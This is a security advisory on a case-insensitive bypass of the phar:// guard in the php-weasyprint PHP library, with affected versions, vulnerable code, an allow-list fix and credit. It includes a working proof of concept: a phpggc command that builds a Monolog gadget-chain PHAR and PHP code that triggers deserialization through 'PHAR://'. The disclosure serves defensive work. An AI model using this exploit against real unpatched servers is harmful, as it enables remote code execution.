PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary

pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist:

if (0 === \strpos($filename, 'phar://')) {
    throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}

PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.

The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj).

Affected versions

pontedilana/php-weasyprint versions <= 2.5.1 (the case-sensitive guard was introduced in commit eb8accc, "Implement countermeasures for CVE-2023-28115").

Patched in: 2.6.0.

Privilege required

A caller able to control the output filename passed to generate() / generateFromHtml(), plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP < 8.

Vulnerable code

src/AbstractGenerator.php, prepareOutput():

if (0 === \strpos($filename, 'phar://')) {
    throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}

strpos($filename, 'phar://') matches only the exact lowercase string, while the wrapper resolution is case-insensitive — PHAR://payload.phar is not caught.

Proof of concept

# Craft a PHAR with a fast-destruct gadget chain
phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar

<?php
use Pontedilana\PhpWeasyPrint\Pdf;

$pdf = new Pdf('/usr/local/bin/weasyprint');
// Case-altered wrapper bypasses the lowercase 'phar://' blacklist
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created

Impact

• Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.

CWE-502 (Deserialization of Untrusted Data).

Suggested fix

Replace the case-sensitive blacklist with a scheme allow-list (file / no scheme), comparing the lowercased scheme parsed from the filename:

protected const ALLOWED_PROTOCOLS = ['file'];

protected function isProtocolAllowed(string $filename): bool
{
    if (false === $parsed = \parse_url($filename)) {
        throw new \InvalidArgumentException('The filename is not valid.');
    }
    $protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file';
    // ...special-case Windows drive letters (C:\...) as 'file'...
    return \in_array($protocol, self::ALLOWED_PROTOCOLS, true);
}

prepareOutput() then rejects any non-file scheme (phar, PHAR, php, http, ...) before file_exists() is reached.

Credit

Original vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv (GHSA-92rv-4j2h-8mjj); identified as applicable to pontedilana/php-weasyprint, which mirrors the same code.